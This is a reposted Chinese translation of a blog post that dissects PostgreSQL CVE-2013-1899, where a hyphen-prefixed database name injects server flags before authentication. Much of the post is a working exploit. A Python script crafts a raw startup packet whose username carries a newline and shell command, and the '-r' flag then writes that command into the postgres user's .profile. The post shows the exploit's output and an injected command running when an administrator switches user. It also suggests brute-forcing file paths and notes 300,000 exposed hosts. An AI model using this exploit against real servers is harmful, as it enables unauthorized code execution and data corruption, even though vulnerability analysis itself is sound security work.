[转载]剖析PostgreSQL的CVE-2013-1899安全漏洞

4月1号的时候,PostgreSQL开源团队为了修复重大安全漏洞,锁定了代码库,并于4月4号发布了紧急补丁9.2.4, 9.1.9, 9.0.13, 8.4.17
该漏洞允许:
  远程攻击者通过构造以"-"(连字符)开头的数据库名称的连接请求,可以修改配置设置、执行任意代码或者造成拒绝服务。
  攻击者造成拒绝服务场景要求攻击者能访问到PostgreSQL开放端口,无需认证。
  攻击者能够执行任意代码的场景要求1)攻击者经过认证;2) PostgreSQL服务器的名称和用户名一致。


译者:scorpin
中文原文:http://www.oschina.net/translate/dissecting-postgresql-cve-2013-1899?from=20130505
英文原文:http://blog.blackwinghq.com/2013/04/08/2/


 上个周,Postgresql团队对它旗下的著名开源RDBMS发布了一个安全方面的更新,一切看起来都像往常一样……

但是这条更新却引起了人们的极大关注,主要是因为在补丁发布前一周,Postgres开发者在pgsql-hackers邮件列表( http://www.postgresql.org/message-id/14040.1364490185@sss.pgh.pa.us)中发布了一个令人震惊的消息,说即将发布的新版本中包含了修复某个安全问题的一些补丁,但这些补丁却又引进了极其严重的安全漏洞以至于在更新包出来之前要临时关闭大众对公共Git库的访问权限。

我不知道你是怎么想的,但是就从这个极其机密的安全漏洞的严重程度来看,竟然到了让一个著名的开源项目采取临时闭源的方式来防止细节泄露的地步,就这一点不免让我们感到一点小小的兴奋。

之后到了星期四,补丁出来了,代号 CVE-2013-1899。打眼一看好像是DoS漏洞,因为其至少具备了remote,unauthenticated的特点。并且在某些非常特定(经过认证的用户的用户名与数据库名相同)的情况下还可导致本地提权。

因此我们接下来的目标就是看看能否将这个DoS漏洞提升至RCE(远程代码执行)攻击或者至少是尽可能地接近这个目标……

层层深入

我们来分析一下这个漏洞。首先,这个漏洞的独特之处就是当一个客户端以指定的数据库进行登录时,若在数据库名前加 '-'(连字符),这会导致postgre服务器将数据库名解析为命令行的选项(flag)并传递给处理当前连接的服务器实例(所有这些解析、执行操作都 是在身份验证之前进行的)。换句话说,任何攻击者在未经过身份验证的情况下都可以对处理连接会话的postgre服务器传入任意的命令行选项。

在Posgres的使用者中,大家认为最危险的参数便是“ -r”选项,可以将服务器的所有输出写入到指定的文件中。通过使用这个选项,攻击者可以将运行posgres的用户的那些具有可写权限的文件(像配置文件 或数据库文件)作为参数传入,之后数据库输出的垃圾信息将会破坏这些文件从而导致拒绝服务攻击。

除了"-r"选项其他的命令行参数还是很少用到的。但是还有一个也是比较有用的,那就是"-c"选项。它允许我们设定一个更长的选项列表来作为运行时参数,详情请看 “Chapter 18″ of the PostgreSQL manual(实际上,大多数其他的命令行参数都是运行时参数的简化版)。

首先看一下几个有趣的选项:

  • shared_preload_libraries – 指定在服务器启动时预先载入的一个或多个共享库
  • archive_command – 指定用于归档完整WAL(Write-Ahead Logging)文件字节码的Shell命令
  • log_line_prefix – 将指定的字符串作为每行日志的前缀并以printf风格输出
  • dynamic_library_path – 当动态模块未在LOAD或CREAT FUNCTION命令中指定时,用此选项指定
  • local_preload_libraries – 指定在连接开始时预载入的一个或多个共享库

进一步分析:

  • shared_preload_libraries – 攻击者可以用来指定预载入具有钩子函数的库文件,但是需要对文件系统有写权限
  • archive_command – 指定当write-ahead log归档时会调用的shell命令。不幸的是这个命令还需要同时设置其他几个参数才能触发运行,在经过进一步的研究后,我们只能传入一个命令行选项。
  • log_line_prefix – 起初我以为可以将此选项与"-r"选项组合使用,让我们在每行日志前加入一些有用的信息,从而将某些信息写入到任意的文件中。不幸的是,这个选项一次也只能传一个参数
  • dynamic_library_path 或 local_preload_libraries – 类似于shared_preload_libraries,但限制更多。

嗯,貌似没有一个选项能够让我们利用来进行远程代码执行,因此让我们先回到最初的想法来——使用"-r"选项将垃圾信息写入到任意的文件中。首先看一下用"-r"选项指定一个输出文件时我们会得到什么样的输出:

psql --host=192.168.1.100 --dbname="-rtest.out"

test.out:

2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test",
 database "-rtest.out", SSL on
2013-04-08 14:24:45 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test",
 database "-rtest.out", SSL off

好的,我们得到了一个以日期/时间戳开头后跟典型的日志内容的输出,接下来是客户端IP(这个无法做进一步的更改)、连接的用户名以及所谓的dbname。要是我们指定用户名会怎样?

psql --username="test123" --host=192.168.1.100 --dbname="-rtest.out"

test.out:

2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL on
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100", user "test123", database "-rtest.out", SSL off

看来至少我们能随意设置写入日志中的用户名……在对输出的日志经过一番分析及测试后发现, 我们可以向任意文件中写入63字节的数据(除去开头和尾部的那些不重要的日志数据)。

那么我们怎样利用这个漏洞呢?首先,想要执行某些代码我们得先找到一个中庸的解析器(lazy parser),它在遇到不识别的日志数据时或者忽略或者抛出警告但是能继续执行我们所提供的代码。通常web脚本语言是一个比较好的选择,例如php, 我们可以将代码封装到<? ?>标签内传给解释器进行解析。

因此,如果装有像php脚本解释器之类的web服务器与Postgresql服务器位于同一台主机时,我们可以将代码写到文件中并通过web来触发它。但 是有一个问题需要考虑,web目录需要人人可写权限(world writable)(或者至少对运行posgres进程的用户来说是可写的),此外使用"-r"选项来创建新文件时其默认权限是0600,因此即使能新建 文件也无法执行。那么,我们需要找到一个已经存在、具有执行权限并且我们有权限写入的文件,这样我们就可将代码附加到这个文件中。

由于服务器可以像客户端发回"could not open"和"Permission denied"的消息,因此你可以通过暴力穷举的方式来搜索服务器上的文件或目录。

另一种思路

除了使用web脚本外,如果我们用默认安装目录下对postgres用户来说具有可写权限的脚本会有什么样的结果呢(以Ubuntu为例)?经过一番搜 寻,符合条件的脚本不多,我决定用~postgres/(Ubuntu的/var/lib/postgres)目录下的.profile文件作为突破口。

首先再回顾一下"-r"选项的日志输出格式:

2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100",
user "test123", database "-rtest.out", SSL on
2013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100",
user "test123", database "-rtest.out", SSL off

因此,想要将有用的信息注入到.profile文件中,我们需要先写一个双引号("),后跟一个换行符(0x0a),再跟我们想要注入的命令,最后在写上一个哈希符(#)将其余的信息注释掉。

但是,psql命令行工具貌似无法正确处理像换行符之类的特殊字符。因此,看来我们得自己编写个简易的客户端,其协议已经定义在了PostgreSQL文档中,或者用更简便的方法,由于Wireshark自带pgsql的解析器,我们只要抓个包就可看到其协议了。

运行下面的命令并抓包:

psql –username=”AAAAAAAAAAAAAAAAAAAAAAAAAA” –host=192.168.2.22 –dbname=”-BBBBBBBBBBBBBBBB” 

由此我们可以看出posgres协议有以下组成部分:

  • 一个4字节的big-endian长度的字段(包括自身的大小)
  • 一个魔数(0×00, 0×03, 0×00, 0×00)
  • 由空字节(Null bytes)分隔的几个命令
  • 用户(user)
  • <输入的用户名>
  • 数据库(database)
  • <输入的数据库名>
  • 程序名(application_name)
  • <输入的程序名>
  • 客户端编码及值(client_encoding & value,我们忽略此项)
  • 空字节(null byte)结尾

我们用python编程构造一个请求:

import socket
import sys
import struct

HOST="192.168.1.100"
PORT=5432

buf = "\x00\x03\x00\x00" \
 "user\x00" \
 "\"\x0a" + sys.argv[1] + " #\x00" \#Supplied username (Our controlled data)
 "database\x00" \
 "-r" + sys.argv[2] + "\x00" \#Supplied filename to write to
 "application_name\x00psql_pwnie\x00\x00"

buf = struct.pack(">I", len(buf)+4) + buf

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST,PORT))
sock.send(buf)
data = sock.recv(1024)
sock.close()
print data
sys.exit(0)

程序的第一个参数是要注入的命令,第二个参数是输出文件(.profile)的位置。

x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile

E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20", user ""
/usr/bin/cal #", database "-r/var/lib/postgresql/.profile", SSL offFauth.cL483RClientAuthentication

结果:

root@ubuntu:~# su - postgres
2013-04-09: command not found
 April 2013
Su Mo Tu We Th Fr Sa
 1 2 3 4 5 6
 7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
postgres@ubuntu:~$

现在我们要做的就是等管理员运行"su – postgres"。怎么样,容易吗?shodan显示互联网上还有30多万的主机正监听者5432端口…… 这次实验并不能称为一个严格的远程代码执行(RCE)攻击,但是却是一次值得称道的拒绝服务攻击。

posted @ 2013-05-09 20:34  HomerWu  阅读(598)  评论(0编辑  收藏  举报